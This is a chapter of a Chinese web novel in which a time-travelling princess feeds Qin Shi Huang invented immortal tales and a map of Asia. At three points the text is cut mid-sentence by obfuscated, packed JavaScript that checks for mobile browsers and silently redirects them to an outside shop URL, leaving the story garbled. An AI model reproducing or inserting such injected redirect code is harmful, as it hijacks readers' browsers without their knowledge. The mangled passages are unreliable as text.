那些方术士们翻来覆去好几年,也就能说出个瀛洲、蓬莱、方丈三座神山,而他的十一女,短短两天就说出了灵山、云雨山和离恨天兜率宫三处仙境。 嬴政的表情似乎在说:你继续讲,朕就这样静静地听着。 “兜率宫是一位被称作太上老君的仙人的府邸,那仙人仙风道骨,手持拂尘,脚踏祥云,须发皆白,面容却很年轻,我听来往仙童说他是什么大道之主宰、万教之祖宗、三清之一、道德天尊、,道教创始人……反正他很厉害,有很多个头衔。” 青琅OS:兜率宫站不下这么多人。 嬴政把手持拂尘听成了手持浮沉,心想这个仙人似乎比他听过的所有神仙都要厉害。a “太上老君擅长炼丹与锻造,他手下有许多小徒,其中两名童子是他最喜欢的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463330|201281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徒儿,一位名曰金童子,擅炼丹,另一位名曰银童子,擅炼器。” 然后她又给嬴政讲了太上老君和他的五件法器,好多种类的丹药,以及把一只猴子炼成火眼金睛的故事。 现代人听到这个故事都走不动道,更别说娱乐生活匮乏的古代人了,嬴政听得津津有味,逐渐入迷。 然后青琅开始拐回正题:“有一日,金童子将炼制好的丹药交给太上老君检查,老君罕见地生气了,还打了金童子手板。” 嬴政:原来仙人也会被打手板啊。 “太上老君斥责金童子,其中圣品水银,圣品丹砂这几味材料,杂糅在一起,练成的丹药根本不是给血肉生灵食用的,而是给硅基生物食用的。吃到体内,产生的化合物会刺激神经系统,让服用者产生一种短暂的亢奋感,误以为自己精力充沛,力大无穷,对身体不仅没有益处,反而有害。” 她说了好几个现代词语,例如神经系统,例如硅基生物,嬴政不知道这是什么意思,但无所谓,青琅假装自己也不知道,仙人说什么我就复述什么呗。 要的就是这种听不懂的困惑感,只有未知,才能拉开仙人和凡人之间的差距。 故事的后来,一位洒扫仙童误将金童子的一张废弃单方洒落人间,单方上没有硅基生物这处标注,于是连忙去找太上老君说明情况,太上老君掐指一算,安慰那小童不必惊慌,有人命中注定有此一劫,有人真龙护体解劫难,而后可得水官解厄。 自此逢凶化吉,遇难呈祥,黔首安宁,山河壮丽。 细究起来,水官大禹,和他们赢家的老祖宗还颇有渊源呢 嬴政知道自己吃的丹药药方不对,他会很生气,但如果连仙童都曾出过差错,那他就会平衡很多。 不过最重要的是后面那句,嬴政心里是这样认为的: 有人命中有此一劫——指六国君主。 有人真龙护体,水官解厄——指朕自己。 嬴政问青琅看金银童子炼丹炼器,有没有学到什么仙家方子? 青琅说背下来了几个人,但因为材料难寻,而且公式方法复杂,大秦是不会有人能做出来的。 嬴政还是好奇,这就像有许多人明知道灯泡塞嘴里会取不出来,但还是会忍不住想要试试。 青琅:“以异丁苯为原料,经与乙酰氯的傅克酰化、催化加氢还原和催化羰基化3步反应可以制作出一种能止痛消炎的神药(布洛芬)。” 嬴政:??? 青琅:E=MoC^2/(1-V^2/C^2)^1/2(后面青琅瞎编了十行公式),依照此法可以制作出一种一秒就毁灭一个岛屿的神器。 嬴政:???!!! 嬴政:不知道为什么,突然好困。 这就是仙家之物吗?果然玄妙无穷,非我等凡人所能理解。 但本着琅不走空的兴致,青琅还是从太上老君那里习得了一些适合凡间的铸器之法。 “就是灌钢法,这样制作出的武器兴许比咱们大秦的百炼钢还锋利呢。” “儿臣需要回去好好思索一番,回忆起具体步骤,才敢下笔。” ——实际是因为她今天来的突然,还没来得及查灌钢法的资料。 简简单单两句话,将嬴政心都勾到天上去了。 从今往后,等待灌钢法的每一个夜晚,他都会觉得很难熬。 随后嬴政让青琅仔细讲讲她这些年来的奇遇。 青琅:来了来了,我打了两天稿子,校对过无数遍才编出来的神话体系,接下来她要开始忽悠嬴政喽。 自己的父亲就是要自己忽悠才放心。 忽悠嬴政第一步:上世界地图!——口述版。 13. 东北 “自我有记忆起,便在天上游荡了。” 一顿合格的忽悠,开局第一句话就要抓住目标的心。古代人听见在天上游荡这几个字,心情很难平静,包括嬴政。 那可是天啊,天,即便他是天下之主,是皇帝,都没有在天上飞过。 “飘在天上,别人看不见我,我却能看见别人,觉得还挺好玩,停在一处河岸,看见水面上自己的影子,那时候的我身体小小的,手小小的,脚也小小的,估计也就四五岁。” 自出生起,便魂魄离体,婴孩时懵懂无知,什么都记不住,年纪渐长,长大到四五岁,才有了连贯的记忆。 “我不知道该干什么,就四处乱游荡,看腻了山啊树啊水啊的,就往人堆里飘,阿父,人多的地方可有意思了。”说到这里,她眼睛亮亮的,声音也轻快了不少,似乎真的见过、真的喜欢这些市井烟火,人间百态,“但是后来,不知道为什么,心里一直有个念头在催促我,让我快走,继续走,不要停,我还有更重要的地方要去,更重要的风景要看。” “我也不知道该去哪里,就沿着一个方向游荡,我先向东边飘,依旧是好多热闹的人间景象,但我不敢停留,一直游荡到海边,看见那里的盐工在煮海盐,我并没有放在心上,继续向东飘荡。” “在箕子朝鲜以西,见到和中原人不一样的种族,有马韩和弁辰二族,分成几十个国家,大的国家有一万多户,小的国家有几千户,他们分布在山海之间,也会种田织布,村落杂居,房屋形状修的像坟墓,没有城墙,不懂礼节,也没有男女老幼的区别,连金玉珍宝都不喜欢,最喜欢的东西就是璎珞珠串。” 蛮夷也,嬴政心中评价。 “再往西飘,是一片群岛,岛上有一百多个国家,统称倭国,岛上人依山就岛而居,有城栅屋舍,赤足,嗜酒,用手抓饭吃,男子黥面纹身,女子以涂身。” 重点来了:“那里气候温暖,适合种植桑麻稻,冬天也可以生长菜菇。” 这个地方好啊,嬴政动心值80%。 “出产白珠,青玉,还有……”青琅顿了顿,“还有好多座金矿!” 嬴政:!!! 如果青琅绑了个什么攻略系统之类的,那她肯定立刻就能完成任务。 因为嬴政此刻心动值120% 多么完美的土地啊。 秦朝疆域最东边是辽东郡,接壤朝鲜,那里冬季干燥寒冷,风沙又大,没想到再往西边,还有这么好的地方。 嬴政看中,嬴政想要,嬴政暗暗下定决心努力得到。 嬴政又问了些和群岛有关的内容,青琅只回答了一小部分,其余都以自己着急赶路为由,说没注意。。 实际是因为她接触过的史书上只记载过这么多内容,再多就要去“是什么”网站查详细资料了。嬴政依旧不死心,还想询问这座群岛所在何处,青琅说自己当时在天上飘着的,天上视野开阔直观,不确定地上的路线,只能用笔在图版上,先大致画了个秦朝的地图,然后在辽东郡旁,给嬴政标出各地的粗略方向,大概距离。 嬴政明白为什么青琅心里的声音催促他赶路了,因为这声音想让她知道更多外面的信息,再告诉自己。 “从群岛继续往东游荡,依旧是大海,我原本以为还会像从前那样,在海上飘个一两天,最多七八天就能继续看到城邦和人,可是我在海上飘了足足一个月,一个月的时间一点儿陆地的影子都没有,白天还好,一到夜晚,海天融为一体,入目所见一片漆黑,无穷无尽的漆黑,海风一吹,又冷又腥,我实在无法忍受,就原路返回,又飘了一个月才回到海岸旁,也巧,那些盐工们还在煮海盐。” 大海啊,它全是水。 嬴政啊,它脸色有点黑。 提到大海,嬴政想到了一些不太美好的记忆,例如海上三神山,例如携款潜逃的徐福。 也不一定,海上危险众多,兴许不是携款潜逃,而是一个不小心起了巨浪,或者海中突然窜出一条大鱼,把徐福给卷飞了呢。 再往西走就不能说了,就算告诉嬴政西边还有陆地,以大秦如今的国力到不了,与其让他好奇东边陆地上的袋鼠长啥样,还不如让他不知道这个。 西边,然后是北边,北边有什么,有嬴政最讨厌的匈奴啊。 不过不是直接从盐田处往北游荡,需要先往东飘一段时间,再北飘。 草原上的少数民族部落不只有匈奴,除了一些小的部落,东胡、大月氏是匈奴最强劲的两个对手。 东胡部落在匈奴以东,辽西以北,是由数百个部落组成的联盟,战国时期也侵略过边境,后来连着挨了赵国和燕国的打,被打服了,不敢有大动作,所以基本没吃过秦的铁拳。 那个刺秦的秦舞阳,之所以全国都知道他十三岁杀人的事,很大一个原因就是他祖父揍跑过东胡,面子大。 青琅十分“不经意”地透露出东胡部落和匈奴不和,经常因为各种资源打得热火朝天这个消息。 再飘过一片荒废之地,到了匈奴,想说的话,那就更滔滔不绝了。 嬴政也预料到这一点,倒了一杯蜜水递给青琅。 青琅接过后,说了句谢谢阿父,随后将蜜水一饮而尽,刚刚有些干的喉咙瞬间舒服起来。 她继续给嬴政讲自己在匈奴的见闻、匈奴的衣食住行、风俗习惯、逐水草而居的游牧生活等。 秦常年和匈奴对战,青琅讲得这些,嬴政也都知道,但接下来这句话,他肯定不知道! “我来到匈奴王庭,再一个很大很豪华的毡帐里,看到匈奴的头曼单于,王后,还有他们的儿子坐在一起有说有笑,其乐融融,关系很亲密的样子,可稍远一些,有一位年纪偏大的孩子却怨恨地看着这其乐融融的一家三口,阴沉着脸,不知道在想什么。” “我知道匈奴人经常侵略咱们,不是个好东西,所以特地留心了些,在匈奴王庭多待几天,结果呢,阿父,我发现了个惊天大热闹!” 嬴政:“什么热闹?” 依照嬴政的政治敏锐度,已经从青琅话中察觉到三四分真相,这种王室秘闻,哪一国都有,一抓一大把。 “那位阴沉着脸的,是匈奴的太子,名叫冒顿,不过匈奴单于更喜欢另一位年轻貌美的阏氏,和这位阏氏给他生得小儿子,我留在王庭的第三天,他就废了冒顿,改立这位小儿子为太子。” “我离开匈奴后一直向北游荡,越往北走,天气越冷,冰雪越厚,人烟越少。最后整片大地只有幽蓝的海水和上面厚厚的冰层,没有人类,为数不多的动物,身上也都长满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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北部草原并非铁板一片,可以联合月氏东胡共同对付匈奴,届时就算匈奴的机动性再强,也首尾难顾。 还有匈奴王庭的那些秘密,嬴政很快决定派出秦谍分化离间冒顿和现太子,虽然他们现在已经势同水火过,但如果能将这把火搬到明面上…… 冒顿勇武,现太子不成器,二人水平悬殊,应让秦谍往现太子身上堆叠筹码。 可是派谁去干这件事呢? 还没统一前,秦的纵横家外交能力是最强的,仅靠一张嘴,便能劝得其它国家割让城池给秦国。 可是现在当初那些优秀的外交家,姚贾顿弱尉缭他们已经老了,经受不起如此长时间的奔波。 嬴政第一次感受到了大秦人才的不足。 和知道这件事一样惊喜的是,有人和他有着相同想法。 青琅:“阿父,那时的我已经开了心智,我真的很生气很愤怒,匈奴每年秋天都来劫掠我们边境,抢走许多粮食和黔首,那些黔首在匈奴当奴隶,每天吃不饱穿不暖,还要被打骂,过得很惨。” “于是我就在想,正好东胡和大月氏也讨厌匈奴,不如我们联合他们,一起在春天匈奴粮草耗尽,人和马都羸弱的时候主动攻击去打他们!” “可惜我当时只有魂魄没有身体,也回不了咸阳,只好眼睁睁地看着那个冒顿继续“作威作福”,不过还好,阿父很厉害,我昨天听阿兄说他和蒙将军在上郡将匈奴都打跑了!” 嬴政意识到,他三十几个子女中,唯有十一女,最似他。 14. 西南 青琅把版牍上秦以北的疆域粗略补上。 东北结束,接下来的是西南方向。 青琅告诉嬴政秦朝以西,在合黎山以南,祁连山以北,有一段狭长地带,形如走廊,那里是匈奴休屠、浑邪等几个大部落驻扎的地方。 再往西走,就说到了嬴政的知识盲区,他只知道秦的西北方有许多戎人,至于戎人再以西的世界是什么样子,在秦人的认知中是一片模糊不清的。 穿过流动起伏的三垄沙沙漠,越过一望无际的白龙堆,会看到一片白色泛着光芒的盐泽,那边的人称这片盐泽为菖蒲海,数千年后的人们叫它罗布泊。 在那里,有大大小小三四十个国家,少的国家几百户,大国十几万户,地理环境不同,风俗也各不相同。 西域三十六国,这个最早由张骞凿空的地方,如今因为青琅的到来,提前百年被华夏人所知。 好充实,感觉脑子里要被知识填满了。 嬴政听到了一个更为广阔的世界,她过去五年知道的知识都没有今天一天多! 虽然刚刚说了匈奴不少坏话,但青琅还是会继续说匈奴很多坏话的,就比如现在,青琅告诉嬴政她在三垄沙中见过几只匈奴打扮的队伍往西域方向走。 但运气不太好,被一只大鸟叼到天空中摔死的。 额……被大鸟叼走,这个死法可真是够稀奇的,估计是匈奴作恶多端到上天都看不下去了。 嬴政多聪明一皇帝啊! 他一下子就能猜出匈奴想要联合西域攻打月氏。 此事关系重大,待结束后,还需叫来百官大臣仔细商讨。 刚才只是开胃小菜,风土人情什么的,可以当故事听听,但接下来就要上强度了! 西域有一种叫做苜蓿的植物,马特别爱吃,用苜蓿喂养的马身体强健、耐力强,很少生病。 西域有一个大宛国,大宛马汉如鲜血,品种优良,奔跑速度比中原马快好多,可是汉武帝严选呢(这句没说)。 西域有白叠子(棉花),洁白如云,用它来做衣服,和野兽皮毛一样保暖,价格却比野兽皮毛低很多,无论是做军装,还是给黔首穿都可以。 西域有葡萄,味甚美,酿酒也好喝,除此之外还有胡桃、胡椒、胡蒜等香料和水果。 嬴政眼睛亮得像车灯,看似很平静,实际已经惊喜到愣住了。 镇定镇定再镇定,嬴政你已经是一个成熟的皇帝了,在知道外面有这么多好东西后,要想想怎么把这些好东西拿给大秦。 他镇定的方法就是拍了拍青琅的肩膀,止不住地夸赞她是“朕之嘉女”“秦之嘉禾”等,说得青琅心里美滋滋的,嘴角情不自禁往上翘起个小小的弧度,之前翻资料书时的麻烦和劳累被她抛到九霄云外,觉得嬴政这人真不错,怪不得那么多人愿意给他干活呢,原来始皇帝给人的情绪价值这么足啊! 老父亲,这话,您是单只对我一个人说过,还是对满朝文武都说过啊?——肯定是后者,他还对王翦说过将军虽病,独忍弃寡人乎呢。 青琅心里默默在自己的“秦二世上位手册”上记下:实行鼓励式教育,臣子干活会更有劲儿。 西飘的最后处是葱岭(帕米尔高原),那里山崖葱翠,便被命名为葱岭,不过这里山岭峻峭,海拔太高,行人走到这里后会缺氧,所以又被当地人叫做头痛山。 她又在图版上补充好西边的疆域,剩下的就只有南边了。 沿着喜马拉雅山脉,一直到巴蜀边境,零零散散居住着许多羌人部落,先零羌、烧当羌、勒姐羌之类的,那边海拔太高,条件太艰苦,也没有类似白叠子苜蓿等能改善黔首生活质量的好东西,可以排到最后处理。 而且他们威胁最小,否则为什么住在高原附近。 总不能是因为羌人喜欢住高山、喜欢吃煮不熟的食物、喜欢在冰天雪地里体会马上被冻死,喘不过气的生死一线间的刺激感吧? 那很刺激了。 然后是有数十位军长的西南夷和南边百越这边,这些都不太重要,最重要的是—— “瓯越以南,有一种稻谷,耐旱,不择地,可一年两熟或三熟。” 嬴政:!!! 在他以为已经有足够惊喜的时候,青琅总能给他更大的惊喜。 “十一,你仔细说说这一年三熟的稻谷。”说着,又给她倒了一杯蜜水。 青琅喝完,滔滔不绝起来。 嬴政没有去世,南越也就没反,还是秦的领土,但占城稻,或者说是雒越稻所在的日南郡是汉武帝时期打下来的,宋朝时被大规模引进,刚开始由于环境原因只能一年两熟,后来经过多年改良可以实现一年三熟。 嗯,汉朝时犯罪后的流放岭南,有时也指流放越南。 一年三熟啊,若是将其移植到中原,能养活多少士兵和黔首?有这些作为军粮,再加上白叠子纺织成的军服,他们大秦岂不是指哪儿打哪儿,什么匈奴,什么朝鲜,大秦对上他们,仿佛钢铁斩断草芥一样轻松。 战战战! 嬴政心中久违的战意再次燃烧起来。 再看青琅,你说这孩子怎么就怎么招人喜欢呢,这鼻子这眼睛,这记忆力这机灵劲儿,简直是越看越喜欢啊,抱着这样的想法,嬴政道:“吾儿为父分忧。” “阿父,这是我的分内之事。”青琅严肃道,“为子女者,为父母分忧,为臣者,当为君分忧,这是三皇五帝时期就流传下来的道理,能帮上您的忙,这真是太好了。” 青琅:咦,突然发现我的嘴也挺甜,这算是遗传吗? “好,好,好!”嬴政拊掌而笑,“真是朕的好女儿!” 在图版上补充最后一个盛产宝珠的海岛,整张地图就算完成。 赫然是一整张亚洲地图。 这上面的每一片土地,都在等待秦人开拓、探索、融合。 嬴政凝视着这张地图,他需要一段时间来理解刚刚吸收的信息。 金矿、匈奴、白叠子、雒越稻……这些每一项都需要大秦付出无数人力物力方能探测到的消息,青琅一股脑地全都说出来了。 仿佛又重新回到了二十岁,雄心壮志的二十岁,有许多目标去完成,许多地方去征服。 嬴政满意了,青琅高兴了,唯一受伤的的大概就是在廊柱下奋笔疾书的史官了吧? 原本以为十一公主会像之前那些方士一样,说些老生常谈的事,他记下来的关于嬴政修仙的记录,没有一筐,也有十卷,内容大差不差,他都要背下来了。 没想到十一公主脑子里真有东西啊,信息太多,他的手记得又酸又累,还泛红,回去得找太医开些草药敷敷手了。 好不容易从地图中抽出注意,嬴政又问:“然后呢,关于灵山、云雨山这些仙山上的事,你又是如何知道的?” 青琅:“看遍人间景像后,我的身体越飘越高,游荡到天上仙宫之中。” 那这个时候嬴政就要问了,仙宫到底是什么样子啊? 他求长生几十年,别说仙宫了,连仙人的宠物都没见到一条。 描述仙宫并不难,随便背几句修仙小说里的景物描写就行,比如什么千千年不谢的名花,万万载长青的绣草,琼香缭绕,瑞霭缤纷之类的。或者“莫欺少年穷”里的蛮荒古域,末世前她阅文无数,可没少看小说,男频女频均有涉猎,什么基建、修仙、无限流,或者霸道总裁,肚子里的学问那可多了! 仙宫中一处琉璃亭里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463332|201281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有两位仙人,一位虎鼻大口,两耳参镂,头上戴了一顶茅草编成的斗笠,另一位仙人骑在一头白额吊睛猛虎身上,腰间别着一把宝剑,从他们的对话中得知,这二人分别是治水的大禹,和善于御兽的伯益。 提到伯益,嬴政脸上闪过很明显的激动。 “两位仙人正在下棋,不是六博,而是围棋。一人手执流光溢彩的白棋,另一人手执五彩斑斓的黑旗,注意到我的存在后,大禹有些生气,掐诀施法要赶我走,却被伯益阻止。” “伯益说我是他的小辈,由他点化灵魂出窍,游览三界风光,增长见闻,大禹这才收手,又问伯益为何不点化其他子孙,伯益说其他子孙有自己的造化,不可长时间灵魂离体。” 说到这里,嬴政问道:“你可知,伯益是谁?” 青琅摇了摇头:“不知道,不过听他这样说,应该是咱们嬴家的某一位先祖?” 嬴政:“正是。” 他说:“伯益是我们秦王室可考的第一位先祖。” 青琅瞪大眼睛,故作惊讶。 这次轮到嬴政来为青琅科普: “伯益先祖生活在舜禹时期,为执掌山林川泽之官,曾佐禹平三苗之乱,后因协助禹治水有功,故受舜赐姓嬴。” “先祖辅佐禹治理九州,功勋卓著,原本是禹选定的继承人,禹去世后,禹子启自立为王,杀死先祖,嬴姓一脉只能被迫西迁到西戎之地。” 但伯益的后代厉害啊,兜兜转转千年后,又把王位给取回来了,而且统治的疆土韩远比那时更加辽阔! 莫欺少年穷历史版——莫欺嬴家穷! 通了,这就全部通顺了。 嬴政悟了。 十一之所以有仙缘,全是因为祖宗在天上发力,点化了她。 至于为什么有仙缘的不是自己,他也给自己安慰好了。 一岁到十五岁,他要当秦王,不能是个笨蛋。 二十五岁到四十岁,他要统一六国,不能是个笨蛋。 四十岁到现在,他要书同文车同轨,治理天下,不能是个笨蛋。 每一阶段的嬴政都有重要任务完成,不能当笨蛋。所以这个游历重任便被交到了青琅身上! 啧,嬴政忍不住倒油,这六国,不光君主实力不行,怎么连他们老祖宗的实力也不太好? 还是我们嬴家的祖先最厉害。 从老祖宗身边离开后,青琅游历了许多仙人的仙府,随后又去了九泉之下的幽冥之地,见到幽冥景象和那方水镜,而后魂魄回归身体。 如今十五年之期已满,青琅一魂一魄归位! 多么符合逻辑的故事啊,多么完美的骗……文化人的事怎么能叫骗呢,这叫编造世界观。 多么完美的世界观啊。 嬴政世界观被刷新了一遍又一遍。 他看向桌上那张“亚洲地图”,仔细回味刚刚的话,侧身一看,天色又昏暗了——他今日的公务还没处理呢。 父女俩腹中同时传来咕咕咕的声音,这让嬴政想到当年秦穆公第一次见到百里奚时和他彻夜交谈的故事,想必当年的先祖也如自己这般废寝忘食吧? 嬴政下令,寺人端来飧食,青琅又在嬴政这里蹭了顿饭,脑力劳动也是劳动,经过将近一日的交流研讨,父女俩都又累又饿,饭量比平时增加将近一半。 吃完饭后,青琅离开,嬴政继续处理他那一百二十斤的公务,处理完了,才去休息。 第二天一大早,天才刚刚亮,他就把朝臣召到自己殿中商量政事。 因为有了新的目标,嬴政精神抖擞,动力十足,诸位大臣却睡眼惺忪,提心吊胆的。 心想陛下这么早将我们唤来,究竟有何要事?